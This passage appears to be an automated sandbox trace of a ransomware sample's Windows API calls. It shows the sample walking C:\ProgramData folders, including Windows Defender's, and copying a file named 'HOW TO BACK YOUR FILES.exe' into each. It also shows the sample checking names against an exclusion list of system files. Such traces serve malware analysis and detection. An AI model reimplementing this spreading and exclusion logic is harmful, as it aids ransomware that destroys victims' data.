(HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0098.318] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.319] CloseHandle (hObject=0xf4) returned 1 [0098.319] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.319] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.319] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\VISIO\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529590 [0098.319] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.319] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.319] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.319] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.319] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.319] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.319] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.320] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.320] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc4836220, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.320] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.320] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc4836220, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0098.320] FindClose (in: hFindFile=0x529590 | out: hFindFile=0x529590) returned 1 [0098.320] ReleaseMutex (hMutex=0xec) returned 1 [0098.320] CloseHandle (hObject=0xec) returned 1 [0098.320] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender") returned="C:\\ProgramData\\Microsoft\\Windows Defender" [0098.320] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52fb60 | out: hHeap=0x4f0000) returned 1 [0098.320] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50abf0 | out: hHeap=0x4f0000) returned 1 [0098.320] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows Defender") returned 41 [0098.320] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\46DFFEC63884E686A9D2608CE64F8D1F") returned 0xec [0098.320] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.320] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows Defender" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender") returned="C:\\ProgramData\\Microsoft\\Windows Defender" [0098.320] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.320] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.321] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.321] GetLastError () returned 0x0 [0098.321] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0098.321] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.322] CloseHandle (hObject=0xf4) returned 1 [0098.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.322] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.322] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc485c380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc485c380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529590 [0098.322] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.322] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.322] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.322] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc485c380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc485c380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.322] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.322] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.322] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.322] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.322] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fb3099, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Definition Updates", cAlternateFileName="DEFINI~1")) returned 1 [0098.322] lstrcmpiW (lpString1="Definition Updates", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.322] lstrcmpiW (lpString1="Definition Updates", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.323] lstrcmpiW (lpString1="Definition Updates", lpString2=".") returned 1 [0098.323] lstrcmpiW (lpString1="Definition Updates", lpString2="..") returned 1 [0098.323] lstrcmpiW (lpString1="Definition Updates", lpString2="windows") returned -1 [0098.323] lstrcmpiW (lpString1="Definition Updates", lpString2="bootmgr") returned 1 [0098.323] lstrcmpiW (lpString1="Definition Updates", lpString2="temp") returned -1 [0098.323] lstrcmpiW (lpString1="Definition Updates", lpString2="pagefile.sys") returned -1 [0098.323] lstrcmpiW (lpString1="Definition Updates", lpString2="boot") returned 1 [0098.323] lstrcmpiW (lpString1="Definition Updates", lpString2="ids.txt") returned -1 [0098.323] lstrcmpiW (lpString1="Definition Updates", lpString2="ntuser.dat") returned -1 [0098.323] lstrcmpiW (lpString1="Definition Updates", lpString2="perflogs") returned -1 [0098.323] lstrcmpiW (lpString1="Definition Updates", lpString2="MSBuild") returned -1 [0098.323] lstrlenW (lpString="Definition Updates") returned 18 [0098.323] lstrcpyW (in: lpString1=0x241e89c, lpString2="Definition Updates" | out: lpString1="Definition Updates") returned="Definition Updates" [0098.323] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50abf0 [0098.323] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x51a108 [0098.323] lstrcatW (in: lpString1="Definition Updates", lpString2="\\" | out: lpString1="Definition Updates\\") returned="Definition Updates\\" [0098.323] lstrcatW (in: lpString1="Definition Updates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Definition Updates\\HOW TO BACK YOUR FILES.exe") returned="Definition Updates\\HOW TO BACK YOUR FILES.exe" [0098.323] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\definition updates\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.354] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc485c380, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc485c380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.354] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.354] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalCopy", cAlternateFileName="LOCALC~1")) returned 1 [0098.354] lstrcmpiW (lpString1="LocalCopy", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.354] lstrcmpiW (lpString1="LocalCopy", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.354] lstrcmpiW (lpString1="LocalCopy", lpString2=".") returned 1 [0098.354] lstrcmpiW (lpString1="LocalCopy", lpString2="..") returned 1 [0098.354] lstrcmpiW (lpString1="LocalCopy", lpString2="windows") returned -1 [0098.354] lstrcmpiW (lpString1="LocalCopy", lpString2="bootmgr") returned 1 [0098.354] lstrcmpiW (lpString1="LocalCopy", lpString2="temp") returned -1 [0098.354] lstrcmpiW (lpString1="LocalCopy", lpString2="pagefile.sys") returned -1 [0098.354] lstrcmpiW (lpString1="LocalCopy", lpString2="boot") returned 1 [0098.354] lstrcmpiW (lpString1="LocalCopy", lpString2="ids.txt") returned 1 [0098.354] lstrcmpiW (lpString1="LocalCopy", lpString2="ntuser.dat") returned -1 [0098.354] lstrcmpiW (lpString1="LocalCopy", lpString2="perflogs") returned -1 [0098.354] lstrcmpiW (lpString1="LocalCopy", lpString2="MSBuild") returned -1 [0098.354] lstrlenW (lpString="LocalCopy") returned 9 [0098.354] lstrcpyW (in: lpString1=0x241e89c, lpString2="LocalCopy" | out: lpString1="LocalCopy") returned="LocalCopy" [0098.354] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50abd8 [0098.354] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x53a9d0 [0098.354] lstrcatW (in: lpString1="LocalCopy", lpString2="\\" | out: lpString1="LocalCopy\\") returned="LocalCopy\\" [0098.354] lstrcatW (in: lpString1="LocalCopy\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="LocalCopy\\HOW TO BACK YOUR FILES.exe") returned="LocalCopy\\HOW TO BACK YOUR FILES.exe" [0098.354] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\localcopy\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.359] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Quarantine", cAlternateFileName="QUARAN~1")) returned 1 [0098.359] lstrcmpiW (lpString1="Quarantine", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.359] lstrcmpiW (lpString1="Quarantine", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.359] lstrcmpiW (lpString1="Quarantine", lpString2=".") returned 1 [0098.359] lstrcmpiW (lpString1="Quarantine", lpString2="..") returned 1 [0098.359] lstrcmpiW (lpString1="Quarantine", lpString2="windows") returned -1 [0098.359] lstrcmpiW (lpString1="Quarantine", lpString2="bootmgr") returned 1 [0098.359] lstrcmpiW (lpString1="Quarantine", lpString2="temp") returned -1 [0098.359] lstrcmpiW (lpString1="Quarantine", lpString2="pagefile.sys") returned 1 [0098.359] lstrcmpiW (lpString1="Quarantine", lpString2="boot") returned 1 [0098.359] lstrcmpiW (lpString1="Quarantine", lpString2="ids.txt") returned 1 [0098.359] lstrcmpiW (lpString1="Quarantine", lpString2="ntuser.dat") returned 1 [0098.359] lstrcmpiW (lpString1="Quarantine", lpString2="perflogs") returned 1 [0098.359] lstrcmpiW (lpString1="Quarantine", lpString2="MSBuild") returned 1 [0098.359] lstrlenW (lpString="Quarantine") returned 10 [0098.360] lstrcpyW (in: lpString1=0x241e89c, lpString2="Quarantine" | out: lpString1="Quarantine") returned="Quarantine" [0098.360] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50abc0 [0098.360] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x539860 [0098.360] lstrcatW (in: lpString1="Quarantine", lpString2="\\" | out: lpString1="Quarantine\\") returned="Quarantine\\" [0098.360] lstrcatW (in: lpString1="Quarantine\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Quarantine\\HOW TO BACK YOUR FILES.exe") returned="Quarantine\\HOW TO BACK YOUR FILES.exe" [0098.360] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\quarantine\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.364] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7690f9e4, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7690f9e4, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Scans", cAlternateFileName="")) returned 1 [0098.364] lstrcmpiW (lpString1="Scans", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.364] lstrcmpiW (lpString1="Scans", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.364] lstrcmpiW (lpString1="Scans", lpString2=".") returned 1 [0098.364] lstrcmpiW (lpString1="Scans", lpString2="..") returned 1 [0098.364] lstrcmpiW (lpString1="Scans", lpString2="windows") returned -1 [0098.364] lstrcmpiW (lpString1="Scans", lpString2="bootmgr") returned 1 [0098.364] lstrcmpiW (lpString1="Scans", lpString2="temp") returned -1 [0098.364] lstrcmpiW (lpString1="Scans", lpString2="pagefile.sys") returned 1 [0098.364] lstrcmpiW (lpString1="Scans", lpString2="boot") returned 1 [0098.364] lstrcmpiW (lpString1="Scans", lpString2="ids.txt") returned 1 [0098.364] lstrcmpiW (lpString1="Scans", lpString2="ntuser.dat") returned 1 [0098.364] lstrcmpiW (lpString1="Scans", lpString2="perflogs") returned 1 [0098.364] lstrcmpiW (lpString1="Scans", lpString2="MSBuild") returned 1 [0098.364] lstrlenW (lpString="Scans") returned 5 [0098.364] lstrcpyW (in: lpString1=0x241e89c, lpString2="Scans" | out: lpString1="Scans") returned="Scans" [0098.364] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52be48 [0098.364] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x60) returned 0x524088 [0098.364] lstrcatW (in: lpString1="Scans", lpString2="\\" | out: lpString1="Scans\\") returned="Scans\\" [0098.364] lstrcatW (in: lpString1="Scans\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Scans\\HOW TO BACK YOUR FILES.exe") returned="Scans\\HOW TO BACK YOUR FILES.exe" [0098.364] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.367] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 1 [0098.367] lstrcmpiW (lpString1="Support", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.367] lstrcmpiW (lpString1="Support", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.367] lstrcmpiW (lpString1="Support", lpString2=".") returned 1 [0098.367] lstrcmpiW (lpString1="Support", lpString2="..") returned 1 [0098.368] lstrcmpiW (lpString1="Support", lpString2="windows") returned -1 [0098.368] lstrcmpiW (lpString1="Support", lpString2="bootmgr") returned 1 [0098.368] lstrcmpiW (lpString1="Support", lpString2="temp") returned -1 [0098.368] lstrcmpiW (lpString1="Support", lpString2="pagefile.sys") returned 1 [0098.368] lstrcmpiW (lpString1="Support", lpString2="boot") returned 1 [0098.368] lstrcmpiW (lpString1="Support", lpString2="ids.txt") returned 1 [0098.368] lstrcmpiW (lpString1="Support", lpString2="ntuser.dat") returned 1 [0098.368] lstrcmpiW (lpString1="Support", lpString2="perflogs") returned 1 [0098.368] lstrcmpiW (lpString1="Support", lpString2="MSBuild") returned 1 [0098.368] lstrlenW (lpString="Support") returned 7 [0098.368] lstrcpyW (in: lpString1=0x241e89c, lpString2="Support" | out: lpString1="Support") returned="Support" [0098.368] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52be60 [0098.368] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x53aa40 [0098.368] lstrcatW (in: lpString1="Support", lpString2="\\" | out: lpString1="Support\\") returned="Support\\" [0098.368] lstrcatW (in: lpString1="Support\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Support\\HOW TO BACK YOUR FILES.exe") returned="Support\\HOW TO BACK YOUR FILES.exe" [0098.368] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\support\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.370] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 0 [0098.370] FindClose (in: hFindFile=0x529590 | out: hFindFile=0x529590) returned 1 [0098.370] ReleaseMutex (hMutex=0xec) returned 1 [0098.370] CloseHandle (hObject=0xec) returned 1 [0098.371] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\Windows NT" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT") returned="C:\\ProgramData\\Microsoft\\Windows NT" [0098.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x517028 | out: hHeap=0x4f0000) returned 1 [0098.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ac08 | out: hHeap=0x4f0000) returned 1 [0098.371] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows NT") returned 35 [0098.371] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\2B0823F0439EA58F497C9EAC77A93F59") returned 0xec [0098.371] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.371] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows NT" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT") returned="C:\\ProgramData\\Microsoft\\Windows NT" [0098.371] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.371] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows NT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows nt\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.371] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows nt\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.372] GetLastError () returned 0x0 [0098.372] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0098.372] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.372] CloseHandle (hObject=0xf4) returned 1 [0098.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.373] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.373] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc485c380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc485c380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529590 [0098.373] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.373] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.373] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.373] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc485c380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc485c380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.373] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.373] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.373] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.373] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.373] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc485c380, 